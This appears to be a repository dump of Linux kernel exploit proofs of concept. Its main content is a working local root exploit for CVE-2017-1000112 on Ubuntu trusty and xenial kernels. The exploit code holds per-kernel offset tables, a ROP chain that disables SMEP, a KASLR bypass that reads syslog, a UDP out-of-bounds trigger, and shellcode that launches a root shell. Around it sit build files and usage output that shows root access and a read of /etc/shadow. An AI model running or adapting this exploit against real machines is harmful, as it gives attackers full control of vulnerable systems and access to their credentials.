0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | void *(*module_alloc)(long) = (void *)X_module_alloc; 166 | long (*schedule_on_each_cpu)(long) = (void *)X_schedule_on_each_cpu; 167 | 168 | static char shellcode[] = { 169 | # include "shellcode.inc" 170 | }; 171 | 172 | static void __attribute__((always_inline)) inline get_root_real(void) { 173 | void *p = module_alloc(sizeof(shellcode)); 174 | __builtin_memcpy(p, shellcode, sizeof(shellcode)); 175 | schedule_on_each_cpu((long)p); 176 | } 177 | 178 | struct stack_frame { 179 | struct stack_frame *next_frame; 180 | unsigned long return_address; 181 | }; 182 | 183 | #define cfi_bypass_enter(frames, depth) \ 184 | do { \ 185 | struct stack_frame *frame = __builtin_frame_address(0); \ 186 | for (int i = 1; i < (depth); i++) { \ 187 | frames[i] = *frame; \ 188 | frame->return_address = X_printk; \ 189 | frame = frame->next_frame; \ 190 | } \ 191 | } while (0) 192 | 193 | #define cfi_bypass_leave(frames, depth) \ 194 | do { \ 195 | struct stack_frame *frame = __builtin_frame_address(0); \ 196 | for (int i = 1; i < (depth); i++) { \ 197 | *frame = frames[i]; \ 198 | frame = frame->next_frame; \ 199 | } \ 200 | } while (0) 201 | 202 | void get_root() 203 | { 204 | struct stack_frame frames[ 8 ]; 205 | cfi_bypass_enter(frames, sizeof(frames) / sizeof(frames[0])); 206 | get_root_real(); 207 | cfi_bypass_leave(frames, sizeof(frames) / sizeof(frames[0])); 208 | } 209 | 210 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 211 | 212 | uint64_t saved_esp; 213 | 214 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 215 | // can be used to omit a function's prologue, so I had to use this weird 216 | // wrapper hack as a workaround. Note: Clang does support it, which means it 217 | // has better support of GCC attributes than GCC itself. Funny. 218 | void wrapper() { 219 | asm volatile (" \n\ 220 | payload: \n\ 221 | movq %%rbp, %%rax \n\ 222 | movq $0xffffffff00000000, %%rdx \n\ 223 | andq %%rdx, %%rax \n\ 224 | movq %0, %%rdx \n\ 225 | addq %%rdx, %%rax \n\ 226 | movq %%rax, %%rsp \n\ 227 | call get_root \n\ 228 | ret \n\ 229 | " : : "m"(saved_esp) : ); 230 | } 231 | 232 | void payload(); 233 | 234 | #define CHAIN_SAVE_ESP \ 235 | *stack++ = POP_RDI_RET; \ 236 | *stack++ = (uint64_t)&saved_esp; \ 237 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 238 | 239 | #define SMEP_MASK 0x100000 240 | 241 | #define CHAIN_DISABLE_SMEP \ 242 | *stack++ = MOV_RAX_CR4_RET; \ 243 | *stack++ = NEG_RAX_RET; \ 244 | *stack++ = POP_RCX_RET; \ 245 | *stack++ = SMEP_MASK; \ 246 | *stack++ = OR_RAX_RCX_RET; \ 247 | *stack++ = NEG_RAX_RET; \ 248 | *stack++ = XCHG_EAX_EDI_RET; \ 249 | *stack++ = MOV_CR4_RDI_RET; 250 | 251 | #define CHAIN_JMP_PAYLOAD \ 252 | *stack++ = POP_RCX_RET; \ 253 | *stack++ = (uint64_t)&payload; \ 254 | *stack++ = JMP_RCX; 255 | 256 | void mmap_stack() { 257 | uint64_t stack_aligned, stack_addr; 258 | int page_size, stack_size, stack_offset; 259 | uint64_t* stack; 260 | 261 | page_size = getpagesize(); 262 | 263 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 264 | stack_addr = stack_aligned - page_size * 4; 265 | stack_size = page_size * 8; 266 | stack_offset = XCHG_EAX_ESP_RET % page_size; 267 | 268 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 269 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 270 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 271 | perror("[-] mmap()"); 272 | exit(EXIT_FAILURE); 273 | } 274 | 275 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 276 | 277 | CHAIN_SAVE_ESP; 278 | CHAIN_DISABLE_SMEP; 279 | CHAIN_JMP_PAYLOAD; 280 | } 281 | 282 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 283 | 284 | #define SYSLOG_ACTION_READ_ALL 3 285 | #define SYSLOG_ACTION_SIZE_BUFFER 10 286 | 287 | void mmap_syslog(char** buffer, int* size) { 288 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 289 | if (*size == -1) { 290 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 291 | exit(EXIT_FAILURE); 292 | } 293 | 294 | *size = (*size / getpagesize() + 1) * getpagesize(); 295 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 296 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 297 | 298 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 299 | if (*size == -1) { 300 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 301 | exit(EXIT_FAILURE); 302 | } 303 | } 304 | 305 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 306 | const char* needle1 = "Freeing unused"; 307 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 308 | if (substr == NULL) { 309 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 310 | exit(EXIT_FAILURE); 311 | } 312 | 313 | int start = 0; 314 | int end = 0; 315 | for (end = start; substr[end] != '-'; end++); 316 | 317 | const char* needle2 = "ffffff"; 318 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 319 | if (substr == NULL) { 320 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | char* endptr = &substr[16]; 325 | unsigned long r = strtoul(&substr[0], &endptr, 16); 326 | 327 | r &= 0xffffffffff000000ul; 328 | 329 | return r; 330 | } 331 | 332 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 333 | const char* needle1 = "Freeing unused"; 334 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 335 | if (substr == NULL) { 336 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | int start = 0; 341 | int end = 0; 342 | for (start = 0; substr[start] != '-'; start++); 343 | for (end = start; substr[end] != '\n'; end++); 344 | 345 | const char* needle2 = "ffffff"; 346 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 347 | if (substr == NULL) { 348 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 349 | exit(EXIT_FAILURE); 350 | } 351 | 352 | char* endptr = &substr[16]; 353 | unsigned long r = strtoul(&substr[0], &endptr, 16); 354 | 355 | r &= 0xfffffffffff00000ul; 356 | r -= 0x1000000ul; 357 | 358 | return r; 359 | } 360 | 361 | unsigned long get_kernel_addr() { 362 | char* syslog; 363 | int size; 364 | mmap_syslog(&syslog, &size); 365 | 366 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 367 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 368 | return get_kernel_addr_trusty(syslog, size); 369 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 370 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 371 | return get_kernel_addr_xenial(syslog, size); 372 | 373 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 374 | exit(EXIT_FAILURE); 375 | } 376 | 377 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 378 | 379 | struct ubuf_info { 380 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 381 | uint64_t ctx; // void * 382 | uint64_t desc; // unsigned long 383 | }; 384 | 385 | struct skb_shared_info { 386 | uint8_t nr_frags; // unsigned char 387 | uint8_t tx_flags; // __u8 388 | uint16_t gso_size; // unsigned short 389 | uint16_t gso_segs; // unsigned short 390 | uint16_t gso_type; // unsigned short 391 | uint64_t frag_list; // struct sk_buff * 392 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 393 | uint32_t tskey; // u32 394 | uint32_t ip6_frag_id; // __be32 395 | uint32_t dataref; // atomic_t 396 | uint64_t destructor_arg; // void * 397 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 398 | }; 399 | 400 | struct ubuf_info ui; 401 | 402 | void init_skb_buffer(char* buffer, unsigned long func) { 403 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 404 | memset(ssi, 0, sizeof(*ssi)); 405 | 406 | ssi->tx_flags = 0xff; 407 | ssi->destructor_arg = (uint64_t)&ui; 408 | ssi->nr_frags = 0; 409 | ssi->frag_list = 0; 410 | 411 | ui.callback = func; 412 | } 413 | 414 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 415 | 416 | #define SHINFO_OFFSET 3164 417 | 418 | void oob_execute(unsigned long payload) { 419 | char buffer[4096]; 420 | memset(&buffer[0], 0x42, 4096); 421 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 422 | 423 | int s = socket(PF_INET, SOCK_DGRAM, 0); 424 | if (s == -1) { 425 | perror("[-] socket()"); 426 | exit(EXIT_FAILURE); 427 | } 428 | 429 | struct sockaddr_in addr; 430 | memset(&addr, 0, sizeof(addr)); 431 | addr.sin_family = AF_INET; 432 | addr.sin_port = htons(8000); 433 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 434 | 435 | if (connect(s, (void*)&addr, sizeof(addr))) { 436 | perror("[-] connect()"); 437 | exit(EXIT_FAILURE); 438 | } 439 | 440 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 441 | int rv = send(s, buffer, size, MSG_MORE); 442 | if (rv != size) { 443 | perror("[-] send()"); 444 | exit(EXIT_FAILURE); 445 | } 446 | 447 | int val = 1; 448 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 449 | if (rv != 0) { 450 | perror("[-] setsockopt(SO_NO_CHECK)"); 451 | exit(EXIT_FAILURE); 452 | } 453 | 454 | send(s, buffer, 1, 0); 455 | 456 | close(s); 457 | } 458 | 459 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 460 | 461 | #define CHUNK_SIZE 1024 462 | 463 | int read_file(const char* file, char* buffer, int max_length) { 464 | int f = open(file, O_RDONLY); 465 | if (f == -1) 466 | return -1; 467 | int bytes_read = 0; 468 | while (true) { 469 | int bytes_to_read = CHUNK_SIZE; 470 | if (bytes_to_read > max_length - bytes_read) 471 | bytes_to_read = max_length - bytes_read; 472 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 473 | if (rv == -1) 474 | return -1; 475 | bytes_read += rv; 476 | if (rv == 0) 477 | return bytes_read; 478 | } 479 | } 480 | 481 | #define LSB_RELEASE_LENGTH 1024 482 | 483 | void get_distro_codename(char* output, int max_length) { 484 | char buffer[LSB_RELEASE_LENGTH]; 485 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 486 | if (length == -1) { 487 | perror("[-] open/read(/etc/lsb-release)"); 488 | exit(EXIT_FAILURE); 489 | } 490 | const char *needle = "DISTRIB_CODENAME="; 491 | int needle_length = strlen(needle); 492 | char* found = memmem(&buffer[0], length, needle, needle_length); 493 | if (found == NULL) { 494 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 495 | exit(EXIT_FAILURE); 496 | } 497 | int i; 498 | for (i = 0; found[needle_length + i] != '\n'; i++) { 499 | assert(i < max_length); 500 | assert((found - &buffer[0]) + needle_length + i < length); 501 | output[i] = found[needle_length + i]; 502 | } 503 | } 504 | 505 | void get_kernel_version(char* output, int max_length) { 506 | struct utsname u; 507 | int rv = uname(&u); 508 | if (rv != 0) { 509 | perror("[-] uname())"); 510 | exit(EXIT_FAILURE); 511 | } 512 | assert(strlen(u.release) <= max_length); 513 | strcpy(&output[0], u.release); 514 | } 515 | 516 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 517 | 518 | #define DISTRO_CODENAME_LENGTH 32 519 | #define KERNEL_VERSION_LENGTH 32 520 | 521 | void detect_versions() { 522 | char codename[DISTRO_CODENAME_LENGTH]; 523 | char version[KERNEL_VERSION_LENGTH]; 524 | 525 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 526 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 527 | 528 | int i; 529 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 530 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 531 | strcmp(&version[0], kernels[i].version) == 0) { 532 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 533 | kernel = i; 534 | return; 535 | } 536 | } 537 | 538 | printf("[-] kernel version not recognized\n"); 539 | exit(EXIT_FAILURE); 540 | } 541 | 542 | #define PROC_CPUINFO_LENGTH 4096 543 | 544 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 545 | int smap_smep_enabled() { 546 | char buffer[PROC_CPUINFO_LENGTH]; 547 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 548 | if (length == -1) { 549 | perror("[-] open/read(/proc/cpuinfo)"); 550 | exit(EXIT_FAILURE); 551 | } 552 | int rv = 0; 553 | char* found = memmem(&buffer[0], length, "smep", 4); 554 | if (found != NULL) 555 | rv += 1; 556 | found = memmem(&buffer[0], length, "smap", 4); 557 | if (found != NULL) 558 | rv += 2; 559 | return rv; 560 | } 561 | 562 | void check_smep_smap() { 563 | int rv = smap_smep_enabled(); 564 | if (rv >= 2) { 565 | printf("[-] SMAP detected, no bypass available\n"); 566 | exit(EXIT_FAILURE); 567 | } 568 | #if !ENABLE_SMEP_BYPASS 569 | if (rv >= 1) { 570 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 571 | exit(EXIT_FAILURE); 572 | } 573 | #endif 574 | } 575 | 576 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 577 | 578 | static bool write_file(const char* file, const char* what, ...) { 579 | char buf[1024]; 580 | va_list args; 581 | va_start(args, what); 582 | vsnprintf(buf, sizeof(buf), what, args); 583 | va_end(args); 584 | buf[sizeof(buf) - 1] = 0; 585 | int len = strlen(buf); 586 | 587 | int fd = open(file, O_WRONLY | O_CLOEXEC); 588 | if (fd == -1) 589 | return false; 590 | if (write(fd, buf, len) != len) { 591 | close(fd); 592 | return false; 593 | } 594 | close(fd); 595 | return true; 596 | } 597 | 598 | void setup_sandbox() { 599 | int real_uid = getuid(); 600 | int real_gid = getgid(); 601 | 602 | if (unshare(CLONE_NEWUSER) != 0) { 603 | printf("[!] unprivileged user namespaces are not available\n"); 604 | perror("[-] unshare(CLONE_NEWUSER)"); 605 | exit(EXIT_FAILURE); 606 | } 607 | if (unshare(CLONE_NEWNET) != 0) { 608 | perror("[-] unshare(CLONE_NEWUSER)"); 609 | exit(EXIT_FAILURE); 610 | } 611 | 612 | if (!write_file("/proc/self/setgroups", "deny")) { 613 | perror("[-] write_file(/proc/self/set_groups)"); 614 | exit(EXIT_FAILURE); 615 | } 616 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 617 | perror("[-] write_file(/proc/self/uid_map)"); 618 | exit(EXIT_FAILURE); 619 | } 620 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 621 | perror("[-] write_file(/proc/self/gid_map)"); 622 | exit(EXIT_FAILURE); 623 | } 624 | 625 | cpu_set_t my_set; 626 | CPU_ZERO(&my_set); 627 | CPU_SET(0, &my_set); 628 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 629 | perror("[-] sched_setaffinity()"); 630 | exit(EXIT_FAILURE); 631 | } 632 | 633 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 634 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 635 | exit(EXIT_FAILURE); 636 | } 637 | if (system("/sbin/ifconfig lo up") != 0) { 638 | perror("[-] system(/sbin/ifconfig lo up)"); 639 | exit(EXIT_FAILURE); 640 | } 641 | } 642 | 643 | void exec_shell() { 644 | char* shell = "/bin/bash"; 645 | char* args[] = {shell, "-i", NULL}; 646 | execve(shell, args, NULL); 647 | } 648 | 649 | bool is_root() { 650 | // We can't simple check uid, since we're running inside a namespace 651 | // with uid set to 0. Try opening /etc/shadow instead. 652 | int fd = open("/etc/shadow", O_RDONLY); 653 | if (fd == -1) 654 | return false; 655 | close(fd); 656 | return true; 657 | } 658 | 659 | void check_root() { 660 | printf("[.] checking if we got root\n"); 661 | if (!is_root()) { 662 | printf("[-] something went wrong =(\n"); 663 | return; 664 | } 665 | printf("[+] got r00t ^_^\n"); 666 | exec_shell(); 667 | } 668 | 669 | int main(int argc, char** argv) { 670 | printf("[.] starting\n"); 671 | 672 | printf("[.] checking distro and kernel versions\n"); 673 | detect_versions(); 674 | printf("[~] done, versions looks good\n"); 675 | 676 | printf("[.] checking SMEP and SMAP\n"); 677 | check_smep_smap(); 678 | printf("[~] done, looks good\n"); 679 | 680 | if (!fork()) { 681 | sleep(2), execl(SHELL, "shell", NULL); 682 | } 683 | 684 | printf("[.] setting up namespace sandbox\n"); 685 | setup_sandbox(); 686 | printf("[~] done, namespace sandbox set up\n"); 687 | 688 | #if ENABLE_KASLR_BYPASS 689 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 690 | KERNEL_BASE = get_kernel_addr(); 691 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 692 | #endif 693 | 694 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 695 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 696 | 697 | unsigned long payload = (unsigned long)&get_root; 698 | 699 | #if ENABLE_SMEP_BYPASS 700 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 701 | mmap_stack(); 702 | payload = XCHG_EAX_ESP_RET; 703 | printf("[~] done, fake stack mmapped\n"); 704 | #endif 705 | 706 | printf("[.] executing payload %lx\n", payload); 707 | oob_execute(payload); 708 | printf("[~] done, should be root now\n"); 709 | 710 | wait(NULL); 711 | 712 | return 0; 713 | } 714 | -------------------------------------------------------------------------------- /005-call_usermodehelper_ld_preload/shellcode.c: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | void _start(void) { 4 | int (*call_usermodehelper)(const char *, void *, void *, int) = (void *)X_call_usermodehelper; 5 | char *argv[] = { (char []){ "/sbin/modprobe" }, 0 }; 6 | char *envp[] = { (char []){ LD_PRELOAD_SHELL }, 0 }; 7 | call_usermodehelper(argv[0], argv, envp, 1); 8 | } 9 | -------------------------------------------------------------------------------- /006-kprobes_disable/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | shell_preload.so 5 | shellcode 6 | shellcode.inc 7 | -------------------------------------------------------------------------------- /006-kprobes_disable/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = mutex_lock|mutex_unlock|module_mutex|text_poke|get_kprobe|module_alloc|schedule_on_each_cpu|call_usermodehelper|printk 2 | 3 | KERNEL_CFLAGS = \ 4 | -static -nostartfiles -nodefaultlibs -nostdlib \ 5 | -mno-80387 -mno-fp-ret-in-387 -mno-mmx -mno-sse -mno-sse2 -mno-3dnow -mno-avx \ 6 | -mpreferred-stack-boundary=4 -mno-red-zone \ 7 | -fomit-frame-pointer -fno-stack-protector 8 | 9 | .PHONY: all 10 | all: poc.c ../shell/shell.c 11 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 12 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 13 | echo "#define LD_PRELOAD_SHELL \"LD_PRELOAD=$(CURDIR)/shell_preload.so\"" >>poc.h 14 | gcc ../shell/shell_preload.c -o shell_preload.so -I$(CURDIR) -shared -fPIC 15 | gcc ../shell/shell.c -o shell 16 | gcc $(KERNEL_CFLAGS) shellcode.c -o shellcode 17 | objcopy --dump-section .text=/dev/stdout shellcode | xxd -i >shellcode.inc 18 | gcc poc.c -o poc 19 | 20 | .PHONY: clean 21 | clean: 22 | rm -f shell shell_preload.so shellcode shellcode.inc poc poc.h 23 | -------------------------------------------------------------------------------- /006-kprobes_disable/README.md: -------------------------------------------------------------------------------- 1 | kprobes disable 2 | =============== 3 | 4 | TODO 5 | -------------------------------------------------------------------------------- /006-kprobes_disable/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 